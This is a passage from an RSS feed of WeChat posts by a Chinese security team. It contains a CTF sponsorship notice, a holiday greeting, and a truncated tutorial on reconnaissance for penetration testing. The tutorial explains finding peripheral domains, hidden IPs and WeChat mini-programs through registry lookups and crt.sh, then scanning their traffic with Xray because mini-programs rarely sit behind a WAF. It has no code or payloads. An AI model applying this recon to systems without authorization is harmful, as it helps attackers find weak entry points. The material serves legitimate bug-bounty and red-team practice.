<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7e93d86f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485977%26idx%3D1%26sn%3D2bddee1e0c7dfa384c1cd2feee94ba00">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Mar 2026 18:19:00 +0800</pubDate>
    </item>
    <item>
      <title>2026 POLARIS CTF 震撼来袭！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485907&amp;idx=1&amp;sn=e56a891577acd8a7dd52a6542a0b332c</link>
      <description>很高兴能收到星盟安全团队的邀请，渊龙Sec安全团队成为2026 POLARIS CTF的黄金赞助商！[鼓掌]&#xA;2026年3月28日 — 2026年3月30日，面向全国网络安全爱好者开放报名，不限年龄、不限专业、不限学历，目前火热报名中！[嘿哈]&#xA;『我们的征途是星辰大海』[加油]&#xA;比赛介绍：&lt;a data-unique-id=&#34;mmxuwfha-i92hby&#34; href=&#34;https://mp.weixin.qq.com/s?__biz=Mzg2NjUxODIzNw==&amp;amp;mid=2247484128&amp;amp;idx=1&amp;amp;sn=ac18bde69d44c2735d360781d1c165eb&amp;amp;scene=142&amp;amp;click_id=2#wechat_redirect&#34; class=&#34;normal_text_link mp_article_text_link&#34; target=&#34;_blank&#34; data-itemshowtype=&#34;0&#34;&gt;首届 PolarisCTF 招新赛正式启幕&lt;/a&gt;&#xA;比赛平台：polarisctf.play.ctfplus.cn&#xA;报名网址：https://www.ctfplus.cn/competition/hall?competitionId=2031260122948308992&#xA;愿你在网络安全这条漫长而闪耀的路上，眼里有光，心中有火，脚下有路，身边有友！</description>
      <content:encoded><![CDATA[<p><span>渊龙Sec安全团队</span> <span>2026-03-20 14:03</span> <span style="display: inline-block;">广东</span></p>






  
  
  <p>很高兴能收到星盟安全团队的邀请，渊龙Sec安全团队成为2026 POLARIS CTF的黄金赞助商！[鼓掌]</p><p>2026年3月28日 — 2026年3月30日，面向全国网络安全爱好者开放报名，不限年龄、不限专业、不限学历，目前火热报名中！[嘿哈]</p><p>『我们的征途是星辰大海』[加油]</p><p>比赛介绍：<a data-unique-id="mmxuwfha-i92hby" href="https://mp.weixin.qq.com/s?__biz=Mzg2NjUxODIzNw==&amp;mid=2247484128&amp;idx=1&amp;sn=ac18bde69d44c2735d360781d1c165eb&amp;scene=142&amp;click_id=2#wechat_redirect" class="normal_text_link mp_article_text_link" target="_blank" data-itemshowtype="0">首届 PolarisCTF 招新赛正式启幕</a></p><p>比赛平台：polarisctf.play.ctfplus.cn</p><p>报名网址：https://www.ctfplus.cn/competition/hall?competitionId=2031260122948308992</p><p>愿你在网络安全这条漫长而闪耀的路上，眼里有光，心中有火，脚下有路，身边有友！</p>
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4810c4bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FeOCmtcHlOA7rbdNnFCaCH279JExddWDy3qa5tJg6frkAAttMibicjsZAvZB8EnibnBmdia8Rtqx9kNFvXwrhCKHv4NhLJIFYIibeQB1BvBoboTNM%2F0%3Fwx_fmt%3Djpeg"/></p><p><img src="https://wechat2rss.xlab.app/img-proxy/?k=64b71265&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FeOCmtcHlOA7ALXibv2Uf0wamkrtpR3M2GYkFW4odAwBNNUJG8pIuVj6Kb8E8V2hmicnpAfyaC5qgy2PR6tGLR8u4LtqZcJg7yJxgSZrLYOAgQ%2F0%3Fwx_fmt%3Djpeg"/></p><p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ad04a820&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FeOCmtcHlOA4iaDeTSnM4jh8kkrPWzjqRxMtMraScGtnkr4sz7NYtlCdGukUzsPGOUmGibY5QtJUTymQcbxLOLLONw0oZziaZLUQ0QAg5mzCoQo%2F0%3Fwx_fmt%3Djpeg"/></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f3b704d3&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485907%26idx%3D1%26sn%3De56a891577acd8a7dd52a6542a0b332c">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 20 Mar 2026 14:03:00 +0800</pubDate>
    </item>
    <item>
      <title>渊龙Sec安全团队祝您元旦快乐！</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485866&amp;idx=1&amp;sn=7840f4b5bf7da365aaebf8cf88f0b93b</link>
      <description>新的一年，是新的开始[鼓掌]&#xA;感谢各位师傅一直以来的关注，欢迎各位师傅前来互相交流、共同进步[坏笑]&#xA;谨代表渊龙Sec安全团队，祝大家在新的一年平安顺遂、技术精进、马到成功！[抱拳][抱拳][抱拳]&#xA;为国之安全而奋斗，为信息安全而发声！[加油]</description>
      <content:encoded><![CDATA[<p><span>渊龙Sec安全团队</span> <span></span> <span style="display: inline-block;">广东</span></p>






  
  
  <p>新的一年，是新的开始[鼓掌]</p><p>感谢各位师傅一直以来的关注，欢迎各位师傅前来互相交流、共同进步[坏笑]</p><p>谨代表渊龙Sec安全团队，祝大家在新的一年平安顺遂、技术精进、马到成功！[抱拳][抱拳][抱拳]</p><p>为国之安全而奋斗，为信息安全而发声！[加油]</p>
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4436f310&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfowNIy6GCfUyP6W5dpzaPar9HRHhTef1PRZhY22fxCeW7xDcF9aM720VmCa15NshaMic424sibsEDg%2F0%3Fwx_fmt%3Djpeg"/></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=5409d970&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg4NTY0MDg1Mg%3D%3D%26mid%3D2247485866%26idx%3D1%26sn%3D7840f4b5bf7da365aaebf8cf88f0b93b">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 01 Jan 2026 21:51:25 +0800</pubDate>
    </item>
    <item>
      <title>信息搜集之边缘资产和隐形资产的发掘</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4NTY0MDg1Mg==&amp;mid=2247485849&amp;idx=1&amp;sn=13a02708a65bee6664894ad524eb579a</link>
      <description>常规的漏洞原理和利用都捻熟于心，但为什么往往挖不到漏洞呢？第一个就是实战的经验比较少，对于漏洞在哪出现，有什么手法还掌握的不多；第二个是信息搜集没有得到要领，只会僵硬的进行信息搜集，对于边缘资产和隐形资产的发掘没有经验</description>
      <content:encoded><![CDATA[<p>原创 <span>渊龙Sec安全团队</span> <span>2025-12-07 13:50</span> <span style="display: inline-block;">广东</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2a966a36&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYF1VT9ia2PR5O65zgibXM1BB7SuUWZS5WTA6BwicAMwxmtaSWoBEseZvpg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>常规的漏洞原理和利用都捻熟于心，但为什么往往挖不到漏洞呢？第一个就是实战的经验比较少，对于漏洞在哪出现，有什么手法还掌握的不多；第二个是信息搜集没有得到要领，只会僵硬的进行信息搜集，对于边缘资产和隐形资产的发掘没有经验</p>
  <h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" data-pm-slice="0 0 []"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">0# 概述</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">一眨眼的时间，马上就要过年了，不知道大家今年都过得如何？</span></p><p><span leaf="">近期有不少师傅在抖音咨询我，问我说：常规的漏洞原理和利用都捻熟于心，但是为什么在SRC挖掘和攻防中，往往就是挖不到漏洞呢？</span></p><p><span leaf="">我给了两点回复：第一个就是实战的经验比较少，对于漏洞在哪出现，有什么手法还掌握的不多；第二个是信息搜集没有得到要领，只会僵硬的进行信息搜集，对于边缘资产和隐形资产的发掘没有经验。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002182" data-ratio="0.562962962962963" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=d96b167d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYecicxOSY1Q7J0x1LC58HnJWM0203UNXPxNEbwRP7CaUw5r8R2OLNZew%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">今天咋们就来好好唠唠这个“边缘资产和隐形资产的发掘”，为什么它在攻防场景下如此重要？</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">注：今日本篇主要的重心在于如何在攻防当中更快发掘脆弱资产，从而实现GetShell，并不关注XSS/逻辑漏洞这种漏洞。</span></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">1# 什么是边缘资产和隐形资产？</span></span></h3><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">在攻防中，整个攻击链路大致为七步：信息搜集/漏洞利用/建立据点/权限提升/权限维持/横向移动/痕迹清除。其中每一步都是承上启下，没有上一步就做不了下一步。</span></strong></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">而整个攻击链的开头-信息搜集就尤为重要，其实我一直觉得信息搜集是渗透测试中最简单的部分，也是渗透测试中最难的部分。渗透测试的本质是信息搜集，一个优雅、成熟的攻击者，一定是在信息搜集中拥有“灵敏嗅觉”的猎人。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-imgfileid="100002183" data-ratio="0.6935185185185185" data-s="300,640" type="block" data-type="jpeg" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=0fff461d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYKT44Kibm5Mpjv2RHCM5ic5CAiaZOyKo5S8yMibia9p56djXFxdcjOI0N7mw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">在渗透测试的过程中，收集到目标的信息越多，渗透切入点就越多，对目标渗透的成功率也就越高。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">而我们纵观信息资产的时候，我们往往会发现，如果我们能找到目标最短的那块“短板”，就使得渗透测试更能成功，而这块“短板”往往不在正面，通常出现在侧面或者背面，这就意味着通过正面的资产信息搜集，往往是无法搞定目标的。其实你从企业安全负责人的角度来说，去做暴露面收敛和边界安全的时候，一定是先做完正面资产（主域名下的所有子域名以及正式服务器）的架构梳理及风险排查，那攻击者去打主域名基本也是一无所获的状态。</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">这就意味着，对于边缘资产和隐形资产的发掘，才是渗透测试信息搜集的重点。那什么是是边缘资产和隐形资产呢？</span></strong></p><ul style="box-sizing: border-box;margin: 0px;padding: 0px 0px 0px 32px;list-style: disc;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;" class="list-paddingleft-1"><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">边缘域名资产：域名非主域名（可能是具体业务组或者全资子公司在用）</span></strong></li><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">隐形IP资产：以IP形式提供服务（无法通过域名找到，可能是开发测试遗漏或者内部人员使用的系统）</span></strong></li><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">隐形C段资产：目标持有该C段内一部分或者全部公网IP，开放提供具体业务服务</span></strong></li><li style="box-sizing: border-box;margin: 0px 0px 0.5em;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bold;color: inherit;font-size: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">关联性：一定是企业的边缘业务平台，具有目标相关的具体特征</span></strong></li></ul><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 1px 1px 2px;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2# 针对边缘域名资产的收集</span></span></h3><h2 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.4em;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2.1 找到目标旗下所有的备案域名</span></span></h2><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">通过爱企查、企查查平台查询：所有备案域名、所有微信公众号、所有微信小程序</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002184" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6277777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=c03b9bd7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYBfhmWjHpibfiaqT5SpFQImjuXFTdBokPnWXJJeLPsXbibttdj89fQ7ptQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">通常我们说去挖腾讯相关的漏洞，首先想法肯定是去看看qq.com，但是先别急，把旗下备案资产全拉出来，会发现有很多自己都没见过的备案域名，那这些域名可以多去关注一手，肯定比正面的主域名要更好出漏洞</span></p><h2 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.4em;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2.2 边缘子域名</span></span></h2><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">测绘SSL证书（挖SRC也有效）：<a href="https://crt.sh" target="_blank">https://crt.sh</a></span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002185" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4527777777777778" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=9472a5a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYMXmOpJK5xor4HJOKfGENv9xurBibYMFsW1B1IrChI52udP7h3At0bYw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">适用于补齐子域名缺失，以及找到一些多层级的子域名系统</span></p><h2 style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-weight: bold;font-size: 1.4em;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span style="box-sizing: border-box;margin: 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">2.3 小程序漏洞挖掘</span></span></h2><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">微信小程序抓包（新的域名==&gt;查看是否为供应商==&gt;大概率没有WAF）</span></p><p style="text-align: center;" nodeleaf=""><img data-imgfileid="100002186" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5592592592592592" data-s="300,640" data-type="png" data-w="1080" type="block" src="https://wechat2rss.xlab.app/img-proxy/?k=ff0f8dde&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfiajytAx7IbfSK8MJslBrcEb4cLOVWicCYSRL8GeaDvv2ibwA8Sq6KAoHPmv9wSYoyrmRwQMwgG8YU4ff0JdFcibcQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">通过企查查平台能更快找到企业旗下小程序，通过抓包可以尝试对小程序进行渗透测试</span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">如何抓包可以看我之前的文章：<a href="https://blog.zgsec.cn/archives/278.html" target="_blank">https://blog.zgsec.cn/archives/278.html</a></span></p><p style="box-sizing: border-box;margin: 1.5em 0px;padding: 0px;font-size: inherit;color: inherit;line-height: inherit;font-family: &#34;PingFang SC&#34;, Arial, &#34;Material Icons Extended&#34;, stonefont, iknow-qb_share_icons, review-iconfont, mui-act-font, fontAwesome, tm-detail-font, office365icons, MWF-MDL2, global-iconfont, Bowtie, sans-serif !important;"><span leaf="">同样，因为小程序架构的原因，基本不存在WAF，可以尝试通过联动Xray的联动自动挖掘漏洞：<a href="https://docs.xray.cool/tools/xray/advanced/burp" target="_blank">https://docs.xray.cool/tools/xray/advanced/burp</a></span></p><h3 style="box-sizing: border-box;margin: 1.5em 5px 2em 0px;padding: 8px 15px;font-weight: bold;font-size: 1.3em;color: rgb(255, 255, 255);line-height: inherit;letter-spacing: 2px;background-image: linear-gradient(to right bottom, rgb(0, 188, 212), rgb(63, 81, 181));background-color: rgb(63, 81, 181);border-left: 10px solid rgb(51, 51, 51);border-radius: 5px;text-shadow: rgb(102, 102, 102) 1px 1px 1px;box-shadow: rgb(102, 102, 102) 